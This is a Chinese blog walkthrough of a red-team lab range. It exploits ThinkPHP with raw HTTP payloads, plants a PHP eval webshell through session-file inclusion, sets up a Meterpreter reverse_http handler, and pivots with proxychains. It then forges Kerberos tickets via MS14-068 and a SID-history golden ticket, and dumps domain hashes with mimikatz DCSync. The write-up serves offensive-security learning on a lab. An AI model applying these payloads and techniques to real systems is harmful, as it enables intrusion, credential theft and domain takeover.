【红队靶场】某靶场

红队内网靶场

需要靶场的私聊我


🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年3月12日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


在这里插入图片描述

攻击目标

拿到win7机器的权限并且拿到flag

环境搭建

除了打点机之外,其他的全部配一个仅主机网卡即可
靶场默认配置的静态IP,其他的可以不用管了

打点机:winserver-2016
本地管理员:.\administrator:admin!@#45
普通本地用户:.\apache : admin!@#45
域用户:root.redteam.lab\xiaowang : Xiao123
内网第一层:
本地管理员:.\administrator : Root12345 密码更改后:Root123456
域管理员:root.redteam.lab\administrator : Root12345
内网第二、三层

2008的机器

本地管理员:.\administrator : admin!@#45,更改完admin!@#456

win7的机器

本地管理员:.\liuyuan :Admin123456
域账号:redteam\liuyuan:Admin123456

都配置完开机了不要忘记做个快照
windows比较容易打蓝屏来着
然后查看一下win-2016的IP
其他的也可以看一眼
方便点

win-2016:
192.168.74.129
10.0.1.16

第二层2008

打点

我直接用的goby
下面是端口资产列表
在这里插入图片描述

在这里插入图片描述发现是IIS默认页面
应该是要绑host的
让我来看一下靶场的文档
要绑定如下:
web.root.redteam.lab
在这里插入图片描述绑定之后访问域名发现了tp的站点

在这里插入图片描述与其同时yakit也发现了漏洞

在这里插入图片描述但是一键getshell失败
在这里插入图片描述
一键利用是有问题的,说明有可能是存在一些函数禁用方面的问题
所有现在我们抓包手动测一下
用yakit给出的payload

POST /index.php?s=captcha HTTP/1.1
Host: web.root.redteam.lab:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 137

_method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1

在这里插入图片描述
看不出来
去浏览器用hackbar试一下
在这里插入图片描述
确实是不行
尝试一下看他的phpinfo

将post信息改为如下

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

在这里插入图片描述

发现存在disable_function
所以如果能上马,我会优先考虑蚁剑,因为有插件

因为只有这一个点(之前的110那些都看过的,没有匿名登录,很难搞,如果最后出不来,我会考虑爆破)

可以通过日志包含,session包含来搞,具体采用什么办法需要看看phpinfo能漏出来什么信息
利用他的漏洞点可以写入读取文件
在这里插入图片描述

session 文件包含拿tp站shell

当Session文件的内容可控,并且可以获取Session文件的路径,就可以通过包含Session文件进行攻击。

Session的存储位置获取:一般是通过以下两种方式。

(1)通过phpinfo的信息可以获取到Session的存储位置。phpinfo中的session.save_path存储的是Session的存放位置。通过phpinfo的信息获取到session.save_path为/var/lib/php/session。

(2)通过猜测默认的Session存放位置进行尝试。通常Linux下Session默认存储在/var/lib/php/session目录下。Windows的session保存路径为:C:\WINDOWS\Temp或集成环境下的tmp文件夹里

Session的文件名为sess_+Sessionid,Sessionid可以通过bp获取

session.save_path C:\phpStudy\PHPTutorial\tmp\tmp
在这里插入图片描述

发现了sessions的存放目录,并且知道了命名规则
所以我们只需要传入一个参数phpsessionid即可拿到完整的路径

所以我们直接写入session

要更改如下一行
Cookie: PHPSESSID=redteam
不更改也行,直接就是你本来的phpsessionid当做文件名

POST /index.php?s=captcha HTTP/1.1
Host: web.root.redteam.lab
Cookie: PHPSESSID=redteam
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

在这里插入图片描述写入成功,接下来去访问他

POST /index.php?s=captcha HTTP/1.1
Host: web.root.redteam.lab
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-US;q=0.7
Cookie: PHPSESSID=redteam
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam&x=phpinfo();
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=C:\phpStudy\PHPTutorial\tmp\tmp\sess_redteam&x=phpinfo();

在这里插入图片描述
可以执行

我们要尝试用蚁剑链接
这里还有知识点
对于这种链的
需要设置点东西
把这几个有用的参数都传进body的请求信息中
在这里插入图片描述
把所有的参数都传进去,不能只传一部分,我在这里摸索了很久

而后我们拥有了system权限

在这里插入图片描述tasklist /svc查看一下进程
然后放到一些杀软查看的小工具
没有发现杀软,所以直接上线cs

在这里插入图片描述
生成就不说了
蚁剑直接上传执行,后续操作在CS以及MSF里完成

派发MSF

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.74.132
set lport 9999
exploit

CS新建监听器
在这里插入图片描述spawn 派发MSF 监听器名字()
MSF即可收到回话

在这里插入图片描述

在这里插入图片描述
发现两张网卡
一张内网网卡 IP拿到
CS插件可以直接找DC
在这里插入图片描述发现了root.redteam.lab域
在这里插入图片描述找到了域控10.0.1.8

在这里插入图片描述并且hashdump我们拿到了xiaowang的密码
ROOT\xiaowang 2da2a4991d15033319d15eb780372184 (Xiao123)
在这里插入图片描述

因为这是一个多域环境,所以我们可以通过查看域信任关系来获得更多信息

shell nltest/domain_trusts
在这里插入图片描述

域信任的列表:
0: REDTEAM redteam.lab (NT 5) (Forest Tree Root) (Direct Outbound) (Direct Inbound) ( Attr: 0x20 )
1: ROOT root.redteam.lab (NT 5) (Forest: 0) (Primary Domain) (Native)
此命令成功完成

可以看出来双向信任以及不是父域

发现有两个域
CS插件扫一下BC段
在这里插入图片描述10.0.1.16使我们的2016
10.0.1.8是我们的2008机器,也就是当前子域的域控
剩下的0.7,0.8两台机器应该就是里面的两台机器了

接下来我们用MSF做一下路由,挂个proxychians扫一下

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.0.1.0/24
查看添加的路由表信息
run autoroute -p

在这里插入图片描述

background
use auxiliary/server/socks_proxy
set SRVPORT 6666
run
gedit /etc/proxychains4.conf
proxychains4 -f /etc/proxychains4.conf nmap -v -Pn -T3 -sV -n -sT --open -p 1433,445,22,8161,3306,135,5236,5000,139,4430,443,8443,873,4443,5985,110,902,1521,7001,21,23,3389,80,81,88,89,8083,8080,9000,8088,8089,8081,5432,5900,6379,2049,389,61616,1099,27017,51111,22345,1723,1194 10.0.1.8
88/tcp   open  kerberos-sec       Microsoft Windows Kerberos (server time: 2023-04-16 08:40:27Z)
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
389/tcp  open  ldap               Microsoft Windows Active Directory LDAP (Domain: redteam.lab, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: ROOT)
3389/tcp open  ssl/ms-wbt-server?

也可以直接全端口扫描,没啥区别
neo4j start

https://github.com/BloodHoundAD/BloodHound/blob/f4d9c1af1529124d33c9f360a27686eea51755e1/Collectors/SharpHound.exe

https://github.com/BloodHoundAD/BloodHound/releases

./BloodHound --no-sandbox

二进制采集工具命令:
SharpHound.exe -c all
powershell采集工具命令:
powershell -exec bypass -command “Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all”

因为我们先前拿到了一个与用户的密码
所以我们可以获得他的SID
所以我们可以尝试MS14-068
可能可以直接拿下DC

MS14-068

在这里插入图片描述

我们需要先横向到其他的用户
root.redteam.lab\xiaowang
进程可以直接窃取,获得一个xiaowang的SID就行了

在这里插入图片描述

也可以直接用CS的插件实现横向
这就不多说了
并且得到了SID

上传一个ms14-068
shell MS14-068.exe -u xiaowang@root.redteam.lab -p Xiao123 -s S-1-5-21-252626755-3360192561-2172417258-1104 -d 10.0.1.8

而后

mimikatz kerberos::ptc TGT_xiaowang@root.redteam.lab.ccache

在这里插入图片描述

shell dir \root-ad\c$
在这里插入图片描述
mimikatz lsadump::dcsync /domain:root.redteam.lab /all /csv

101	REDTEAM$	5d2ea94adb5c2468732a085167091f3c	2080
502	krbtgt	105fc86a0f24896464a4772748051789	514
1105	adduser	168df3659b5f75ab35645606839e5677	66048
1000	ROOT-AD$	a0d5c119fcbeb06bf87e8d442c0ad507	532480
1106	WEBSERVER$	cf2ddbd2fd089b04a9dacaca98a44412	4096
1104	xiaowang	2da2a4991d15033319d15eb780372184	66048
500	Administrator	881aa97cfd3446f82f97f3a847b79e26	512

在这里插入图片描述

proxychains4 -f /etc/proxychains4.conf python /usr/local/bin/wmiexec.py root.redteam.lab/Administrator:Root123456@10.0.1.8

在这里插入图片描述
拿到shell
但是一个在终端的简单shell是不好用的,并且这个dc还要承担攻打父域的重要任务,所以我们先给他全平台派发一下,首先是检查是否有杀软
在这里插入图片描述
没有啥软的话直接CS正向上线

先新疆一个监听
在这里插入图片描述 copy dc.exe \dc\c$
然后在我们的shell里运行一下就行
在这里插入图片描述

攻击父域

首先我们要知道 Sid History 攻击需要:

1、域名称(GET-ADDomain)
2、域的SID值(GET-ADDomainSID)
3、域的 KRBTGT 账户的hash(当前子域的,可以通过 mimikatz 获取)
4、伪造用户名(administrator)
5、根域 Enterprise Admins 组的 ObjectID(Convert-NameToSid)

1、域名称:root.redteam.lab

Enterprise Admins组

在父子域中,最重要的莫过于Enterprise Admins组了,并且该组只存在于林根域中,其成员有权管理林内的所有域,这是因为在添加子域后,Enterprise Admins组会自动添加到林中每个域中的Administrators组成员中。但是该组在其他域树中是不存在的,所以在子域中是看不到有Enterprise Admins组。本文也是基于Enterprise Admins组来提权。

CS插件获取当前域SID
或者
powershell -exec bypass “import-module C:\windows\temp\powerview.ps1;Get-DomainSID”
在这里插入图片描述
S-1-5-21-252626755-3360192561-2172417258
然后CS 的hashdump得知子域krbtgt的hash
105fc86a0f24896464a4772748051789
在这里插入图片描述powershell -exec bypass “import-module C:\windows\temp\powerview.ps1;Convert-NameToSid redteam\krbtgt”

取根域(red.lab) Enterprise Admins 组的 ObjectID:S-1-5-21-3044561657-3490269564-1163119649-502

mimikatz kerberos::golden /user:administrator /domain:<current FQDN> /sid:<current SID> /krbtgt:<KRBTGT_HASH> /sids:<root domain SID>-519 /ptt

/user – 需要模拟的用户名,本例中为administrator
/domain – 完全限定域名(FQDN)
/sid – 域的 SID
/krbtgt – krbtgt的ntlm密码hash
/sids – AD 林中帐户/组的 SID,能获取高权限的ticket,本例中为Enterprise Admins组
/ptt – 将伪造的票据注入内存以供使用

mimikatz kerberos::golden /user:administrator /domain:root.redteam.lab /sid:S-1-5-21-252626755-3360192561-2172417258 /krbtgt:105fc86a0f24896464a4772748051789 /sids:S-1-5-21-3044561657-3490269564-1163119649-519 /ptt

我对SPN进行了扫描
发现了如下的SPN
其中有可能是父域的是owa

Domain          : root.redteam.lab
ServerName      : root.redteam.lab\krbgt
SPNServices     : kadmin
OperatingSystem : 
OSServicePack   : 
LastBootup      : 1601/1/1 8:00:00
OSVersion       : 
Description     : 

Domain          : redteam.lab
ServerName      : OWA.redteam.lab
SPNServices     : Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04;DNS;exchangeRFR;ldap;SMTP
OperatingSystem : 
OSServicePack   : 
LastBootup      : 1601/1/1 8:00:00
OSVersion       : 
Description     : 

Domain          : _msdcs.redteam.lab
ServerName      : _msdcs.redteam.lab\DNSzone
SPNServices     : ldap
OperatingSystem : 
OSServicePack   : 
LastBootup      : 1601/1/1 8:00:00
OSVersion       : 
Description     : 

Domain          : root.redteam.lab
ServerName      : ROOT-AD.root.redteam.lab
SPNServices     : Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04;DNS;exchangeAB;ldap;TERMSRV
OperatingSystem : {Windows Server 2008 R2 Enterprise}
OSServicePack   : {Service Pack 1}
LastBootup      : 2023/4/15 22:01:00
OSVersion       : {6.1 (7601)}
Description     : 

Domain          : redteam.lab
ServerName      : redteam.lab\krbgt
SPNServices     : kadmin
OperatingSystem : {Windows Server 2008 R2 Enterprise}
OSServicePack   : {Service Pack 1}
LastBootup      : 2023/4/15 22:01:00
OSVersion       : {6.1 (7601)}
Description     : 

Domain          : redteam.lab
ServerName      : work.redteam.lab
SPNServices     : TERMSRV;WSMAN
OperatingSystem : {Windows Server 2008 R2 Enterprise}
OSServicePack   : {Service Pack 1}
LastBootup      : 2023/4/15 22:01:00
OSVersion       : {6.1 (7601)}
Description     : 

Domain          : _msdcs.redteam.lab.root.redteam.lab
ServerName      : _msdcs.redteam.lab.root.redteam.lab\DNSzone
SPNServices     : ldap
OperatingSystem : {Windows Server 2008 R2 Enterprise}
OSServicePack   : {Service Pack 1}
LastBootup      : 2023/4/15 22:01:00
OSVersion       : {6.1 (7601)}
Description     : 

在这里插入图片描述这看起来是域间信任关系没搞对
但是之前看的是双向信任
后来问了大佬,说是机器重启一下就行
确实

在这里插入图片描述
在这里插入图片描述
我们已经可以访问到父域控了
mimikatz lsadump::dcsync /domain:redteam.lab /all /csv
在这里插入图片描述并且拿到了全程hash
我这次的实验就到此为止了
拿到了父域DC已经可以做任何事情了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值